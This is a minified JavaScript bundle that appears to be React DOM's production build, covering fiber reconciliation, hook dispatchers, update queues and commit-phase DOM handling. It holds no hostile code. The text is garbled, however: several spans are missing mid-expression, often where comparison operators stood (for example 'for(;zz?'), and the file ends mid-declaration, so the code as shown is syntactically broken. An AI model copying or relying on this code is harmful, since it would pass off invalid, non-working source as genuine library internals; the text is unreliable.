ci(){if(!wf&&nr!==null){wf=!0;var e=0,t=je;try{var n=nr;for(je=1;e>=o,i-=o,ir=1<<32-En(t)+i|n<z?(O=N,N=null):O=N.sibling;var _=m(v,N,w[z],j);if(_===null){N===null&&(N=O);break}e&&N&&_.alternate===null&&t(v,N),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_,N=O}if(z===w.length)return n(v,N),Re&&vi(v,z),k;if(N===null){for(;zz?(O=N,N=null):O=N.sibling;var T=m(v,N,_.value,j);if(T===null){N===null&&(N=O);break}e&&N&&T.alternate===null&&t(v,N),b=a(T,b,z),S===null?k=T:S.sibling=T,S=T,N=O}if(_.done)return n(v,N),Re&&vi(v,z),k;if(N===null){for(;!_.done;z++,_=w.next())_=f(v,_.value,j),_!==null&&(b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return Re&&vi(v,z),k}for(N=r(v,N);!_.done;z++,_=w.next())_=h(N,v,z,_.value,j),_!==null&&(e&&_.alternate!==null&&N.delete(_.key===null?z:_.key),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return e&&N.forEach(function(E){return t(v,E)}),Re&&vi(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===oa&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case tl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===oa){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Mr&&Rv(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=ps(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===oa?(b=Ai(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=Xl(w.type,w.key,w.props,null,v.mode,j),j.ref=ps(v,b,w),j.return=v,v=j)}return o(v);case sa:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Ef(w,v.mode,j),b.return=v,v=b}return o(v);case Mr:return S=w._init,y(v,b,S(w._payload),j)}if(Es(w))return x(v,b,w,j);if(ls(w))return g(v,b,w,j);fl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Pf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ta=Mw(!0),Lw=Mw(!1),vc=li(null),gc=null,ha=null,Ch=null;function Ph(){Ch=ha=gc=null}function Eh(e){var t=vc.current;Me(vc),e._currentValue=t}function Bp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Sa(e,t){gc=e,Ch=ha=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Lt=!0),e.firstContext=null)}function hn(e){var t=e._currentValue;if(Ch!==e)if(e={context:e,memoizedValue:t,next:null},ha===null){if(gc===null)throw Error(J(308));ha=e,gc.dependencies={lanes:0,firstContext:e}}else ha=ha.next=e;return t}var Ni=null;function Ah(e){Ni===null?Ni=[e]:Ni.push(e)}function Iw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Ah(t)):(n.next=i.next,i.next=n),t.interleaved=n,fr(e,r)}function fr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Lr=!1;function _h(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Dw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function lr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function Yr(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,xe&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,fr(e,n)}return i=r.interleaved,i===null?(t.next=t,Ah(r)):(t.next=i.next,i.next=t),r.interleaved=t,fr(e,n)}function Vl(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,xh(e,n)}}function $v(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function yc(e,t,n,r){var i=e.updateQueue;Lr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ue({},f,m);break e;case 2:Lr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Ri|=o,e.lanes=o,e.memoizedState=f}}function Bv(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=kf.transition;kf.transition={};try{e(!1),t()}finally{je=n,kf.transition=r}}function ej(){return xn().memoizedState}function EC(e,t,n){var r=Xr(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},tj(e))nj(t,n);else if(n=Iw(e,t,n,r),n!==null){var i=Et();An(n,e,r,i),rj(n,t,r)}}function AC(e,t,n){var r=Xr(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(tj(e))nj(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,On(l,o)){var c=t.interleaved;c===null?(i.next=i,Ah(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Iw(e,t,i,r),n!==null&&(i=Et(),An(n,e,r,i),rj(n,t,r))}}function tj(e){var t=e.alternate;return e===Fe||t!==null&&t===Fe}function nj(e,t){Bs=wc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function rj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,xh(e,n)}}var jc={readContext:hn,useCallback:jt,useContext:jt,useEffect:jt,useImperativeHandle:jt,useInsertionEffect:jt,useLayoutEffect:jt,useMemo:jt,useReducer:jt,useRef:jt,useState:jt,useDebugValue:jt,useDeferredValue:jt,useTransition:jt,useMutableSource:jt,useSyncExternalStore:jt,useId:jt,unstable_isNewReconciler:!1},_C={readContext:hn,useCallback:function(e,t){return Fn().memoizedState=[e,t===void 0?null:t],e},useContext:hn,useEffect:Wv,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,Kl(4194308,4,Gw.bind(null,t,e),n)},useLayoutEffect:function(e,t){return Kl(4194308,4,e,t)},useInsertionEffect:function(e,t){return Kl(4,2,e,t)},useMemo:function(e,t){var n=Fn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Fn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=EC.bind(null,Fe,e),[r.memoizedState,e]},useRef:function(e){var t=Fn();return e={current:e},t.memoizedState=e},useState:Fv,useDebugValue:$h,useDeferredValue:function(e){return Fn().memoizedState=e},useTransition:function(){var e=Fv(!1),t=e[0];return e=PC.bind(null,e[1]),Fn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Fe,i=Fn();if(Re){if(n===void 0)throw Error(J(407));n=n()}else{if(n=t(),dt===null)throw Error(J(349));Di&30||Fw(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,Wv(Uw.bind(null,r,a,e),[e]),r.flags|=2048,ao(9,Ww.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Fn(),t=dt.identifierPrefix;if(Re){var n=ar,r=ir;n=(r&~(1<<32-En(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=ro++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[Wn]=t,e[eo]=r,pj(e,t,!1,!1),t.stateNode=e;e:{switch(o=jp(n,r),n){case"dialog":Oe("cancel",e),Oe("close",e),i=r;break;case"iframe":case"object":case"embed":Oe("load",e),i=r;break;case"video":case"audio":for(i=0;i<_s.length;i++)Oe(_s[i],e);i=r;break;case"source":Oe("error",e),i=r;break;case"img":case"image":case"link":Oe("error",e),Oe("load",e),i=r;break;case"details":Oe("toggle",e),i=r;break;case"input":ov(e,r),i=xp(e,r),Oe("invalid",e);break;case"option":i=r;break;case"select":e._wrapperState={wasMultiple:!!r.multiple},i=Ue({},r,{value:void 0}),Oe("invalid",e);break;case"textarea":cv(e,r),i=yp(e,r),Oe("invalid",e);break;default:i=r}wp(n,i),l=i;for(a in l)if(l.hasOwnProperty(a)){var c=l[a];a==="style"?K2(e,c):a==="dangerouslySetInnerHTML"?(c=c?c.__html:void 0,c!=null&&V2(e,c)):a==="children"?typeof c=="string"?(n!=="textarea"||c!=="")&&Hs(e,c):typeof c=="number"&&Hs(e,""+c):a!=="suppressContentEditableWarning"&&a!=="suppressHydrationWarning"&&a!=="autoFocus"&&(Vs.hasOwnProperty(a)?c!=null&&a==="onScroll"&&Oe("scroll",e):c!=null&&uh(e,a,c,o))}switch(n){case"input":nl(e),lv(e,r,!1);break;case"textarea":nl(e),uv(e);break;case"option":r.value!=null&&e.setAttribute("value",""+ni(r.value));break;case"select":e.multiple=!!r.multiple,a=r.value,a!=null?wa(e,!!r.multiple,a,!1):r.defaultValue!=null&&wa(e,!!r.multiple,r.defaultValue,!0);break;default:typeof i.onClick=="function"&&(e.onclick=fc)}switch(n){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break e;default:r=!1}}r&&(t.flags|=4)}t.ref!==null&&(t.flags|=512,t.flags|=2097152)}return kt(t),null;case 6:if(e&&t.stateNode!=null)hj(e,t,e.memoizedProps,r);else{if(typeof r!="string"&&t.stateNode===null)throw Error(J(166));if(n=Si(no.current),Si(qn.current),dl(t)){if(r=t.stateNode,n=t.memoizedProps,r[Wn]=t,(a=r.nodeValue!==n)&&(e=Xt,e!==null))switch(e.tag){case 3:ul(r.nodeValue,n,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&ul(r.nodeValue,n,(e.mode&1)!==0)}a&&(t.flags|=4)}else r=(n.nodeType===9?n:n.ownerDocument).createTextNode(r),r[Wn]=t,t.stateNode=r}return kt(t),null;case 13:if(Me(Be),r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(Re&&Yt!==null&&t.mode&1&&!(t.flags&128))Tw(),Oa(),t.flags|=98560,a=!1;else if(a=dl(t),r!==null&&r.dehydrated!==null){if(e===null){if(!a)throw Error(J(318));if(a=t.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(J(317));a[Wn]=t}else Oa(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;kt(t),a=!1}else Sn!==null&&(nm(Sn),Sn=null),a=!0;if(!a)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(r=r!==null,r!==(e!==null&&e.memoizedState!==null)&&r&&(t.child.flags|=8192,t.mode&1&&(e===null||Be.current&1?at===0&&(at=3):Kh())),t.updateQueue!==null&&(t.flags|=4),kt(t),null);case 4:return Ma(),Yp(e,t),e===null&&Qs(t.stateNode.containerInfo),kt(t),null;case 10:return Eh(t.type._context),kt(t),null;case 17:return Bt(t.type)&&pc(),kt(t),null;case 19:if(Me(Be),a=t.memoizedState,a===null)return kt(t),null;if(r=(t.flags&128)!==0,o=a.rendering,o===null)if(r)ms(a,!1);else{if(at!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(o=bc(e),o!==null){for(t.flags|=128,ms(a,!1),r=o.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),t.subtreeFlags=0,r=n,n=t.child;n!==null;)a=n,e=r,a.flags&=14680066,o=a.alternate,o===null?(a.childLanes=0,a.lanes=e,a.child=null,a.subtreeFlags=0,a.memoizedProps=null,a.memoizedState=null,a.updateQueue=null,a.dependencies=null,a.stateNode=null):(a.childLanes=o.childLanes,a.lanes=o.lanes,a.child=o.child,a.subtreeFlags=0,a.deletions=null,a.memoizedProps=o.memoizedProps,a.memoizedState=o.memoizedState,a.updateQueue=o.updateQueue,a.type=o.type,e=o.dependencies,a.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return Ee(Be,Be.current&1|2),t.child}e=e.sibling}a.tail!==null&&Xe()>Ia&&(t.flags|=128,r=!0,ms(a,!1),t.lanes=4194304)}else{if(!r)if(e=bc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),ms(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Re)return kt(t),null}else 2*Xe()-a.renderingStartTime>Ia&&n!==1073741824&&(t.flags|=128,r=!0,ms(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=Xe(),t.sibling=null,n=Be.current,Ee(Be,r?n&1|2:n&1),t):(kt(t),null);case 22:case 23:return Hh(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Kt&1073741824&&(kt(t),t.subtreeFlags&6&&(t.flags|=8192)):kt(t),null;case 24:return null;case 25:return null}throw Error(J(156,t.tag))}function $C(e,t){switch(Sh(t),t.tag){case 1:return Bt(t.type)&&pc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Ma(),Me($t),Me(St),Mh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Th(t),null;case 13:if(Me(Be),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(J(340));Oa()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Me(Be),null;case 4:return Ma(),null;case 10:return Eh(t.type._context),null;case 22:case 23:return Hh(),null;case 24:return null;default:return null}}var ml=!1,Nt=!1,BC=typeof WeakSet=="function"?WeakSet:Set,se=null;function xa(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){qe(e,t,r)}else n.current=null}function Gp(e,t,n){try{n()}catch(r){qe(e,t,r)}}var Jv=!1;function FC(e,t){if(Op=cc,e=bw(),kh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(Tp={focusedElem:e,selectionRange:n},cc=!1,se=t;se!==null;)if(t=se,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,se=e;else for(;se!==null;){t=se;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:kn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(J(163))}}catch(j){qe(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,se=e;break}se=t.return}return x=Jv,Jv=!1,x}function Fs(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&Gp(t,n,a)}i=i.next}while(i!==r)}}function Tu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function Xp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function xj(e){var t=e.alternate;t!==null&&(e.alternate=null,xj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Wn],delete t[eo],delete t[Ip],delete t[kC],delete t[NC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function vj(e){return e.tag===5||e.tag===3||e.tag===4}function eg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||vj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Zp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=fc));else if(r!==4&&(e=e.child,e!==null))for(Zp(e,t,n),e=e.sibling;e!==null;)Zp(e,t,n),e=e.sibling}function Qp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Qp(e,t,n),e=e.sibling;e!==null;)Qp(e,t,n),e=e.sibling}var xt=null,Nn=!1;function Or(e,t,n){for(n=n.child;n!==null;)gj(e,t,n),n=n.sibling}function gj(e,t,n){if(Kn&&typeof Kn.onCommitFiberUnmount=="function")try{Kn.onCommitFiberUnmount(Su,n)}catch{}switch(n.tag){case 5:Nt||xa(n,t);case 6:var r=xt,i=Nn;xt=null,Or(e,t,n),xt=r,Nn=i,xt!==null&&(Nn?(e=xt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):xt.removeChild(n.stateNode));break;case 18:xt!==null&&(Nn?(e=xt,n=n.stateNode,e.nodeType===8?bf(e.parentNode,n):e.nodeType===1&&bf(e,n),Gs(e)):bf(xt,n.stateNode));break;case 4:r=xt,i=Nn,xt=n.stateNode.containerInfo,Nn=!0,Or(e,t,n),xt=r,Nn=i;break;case 0:case 11:case 14:case 15:if(!Nt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&Gp(n,t,o),i=i.next}while(i!==r)}Or(e,t,n);break;case 1:if(!Nt&&(xa(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){qe(n,t,l)}Or(e,t,n);break;case 21:Or(e,t,n);break;case 22:n.mode&1?(Nt=(r=Nt)||n.memoizedState!==null,Or(e,t,n),Nt=r):Or(e,t,n);break;default:Or(e,t,n)}}function tg(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new BC),t.forEach(function(r){var i=XC.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function wn(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=Xe()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*UC(r/1960))-r,10e?16:e,Fr===null)var r=!1;else{if(e=Fr,Fr=null,Sc=0,xe&6)throw Error(J(331));var i=xe;for(xe|=4,se=e.current;se!==null;){var a=se,o=a.child;if(se.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cXe()-Uh?Ei(e,0):Wh|=n),Ft(e,t)}function zj(e,t){t===0&&(e.mode&1?(t=al,al<<=1,!(al&130023424)&&(al=4194304)):t=1);var n=Et();e=fr(e,t),e!==null&&(Ao(e,t,n),Ft(e,n))}function GC(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),zj(e,n)}function XC(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(J(314))}r!==null&&r.delete(t),zj(e,n)}var Cj;Cj=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||$t.current)Lt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Lt=!1,DC(e,t,n);Lt=!!(e.flags&131072)}else Lt=!1,Re&&t.flags&1048576&&_w(t,xc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;ql(e,t),e=t.pendingProps;var i=_a(t,St.current);Sa(t,n),i=Ih(null,t,r,e,i,n);var a=Dh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Bt(r)?(a=!0,mc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,_h(t),i.updater=Ou,t.stateNode=i,i._reactInternals=t,Wp(t,r,e,n),t=Hp(null,t,r,!0,a,n)):(t.tag=0,Re&&a&&Nh(t),Ct(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(ql(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=QC(r),e=kn(r,e),i){case 0:t=Vp(null,t,r,e,n);break e;case 1:t=Xv(null,t,r,e,n);break e;case 11:t=Yv(null,t,r,e,n);break e;case 14:t=Gv(null,t,r,kn(r.type,e),n);break e}throw Error(J(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Vp(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Xv(e,t,r,i,n);case 3:e:{if(uj(t),e===null)throw Error(J(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Dw(e,t),yc(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=La(Error(J(423)),t),t=Zv(e,t,r,n,i);break e}else if(r!==i){i=La(Error(J(424)),t),t=Zv(e,t,r,n,i);break e}else for(Yt=qr(t.stateNode.containerInfo.firstChild),Xt=t,Re=!0,Sn=null,n=Lw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Oa(),r===i){t=pr(e,t,n);break e}Ct(e,t,r,n)}t=t.child}return t;case 5:return Rw(t),e===null&&$p(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Mp(r,i)?o=null:a!==null&&Mp(r,a)&&(t.flags|=32),cj(e,t),Ct(e,t,o,n),t.child;case 6:return e===null&&$p(t),null;case 13:return dj(e,t,n);case 4:return Oh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Ta(t,null,r,n):Ct(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),Yv(e,t,r,i,n);case 7:return Ct(e,t,t.pendingProps,n),t.child;case 8:return Ct(e,t,t.pendingProps.children,n),t.child;case 12:return Ct(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,Ee(vc,r._currentValue),r._currentValue=o,a!==null)if(On(a.value,o)){if(a.children===i.children&&!$t.current){t=pr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=lr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),Bp(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(J(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),Bp(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}Ct(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Sa(t,n),i=hn(i),r=r(i),t.flags|=1,Ct(e,t,r,n),t.child;case 14:return r=t.type,i=kn(r,t.pendingProps),i=kn(r.type,i),Gv(e,t,r,i,n);case 15:return oj(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:kn(r,i),ql(e,t),t.tag=1,Bt(r)?(e=!0,mc(t)):e=!1,Sa(t,n),ij(t,r,i),Wp(t,r,i,n),Hp(null,t,r,!0,e,n);case 19:return fj(e,t,n);case 22:return lj(e,t,n)}throw Error(J(156,t.tag))};function Pj(e,t){return tw(e,t)}function ZC(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function fn(e,t,n,r){return new ZC(e,t,n,r)}function qh(e){return e=e.prototype,!(!e||!e.isReactComponent)}function QC(e){if(typeof e=="function")return qh(e)?1:0;if(e!=null){if(e=e.$$typeof,e===fh)return 11;if(e===ph)return 14}return 2}function Zr(e,t){var n=e.alternate;return n===null?(n=fn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function 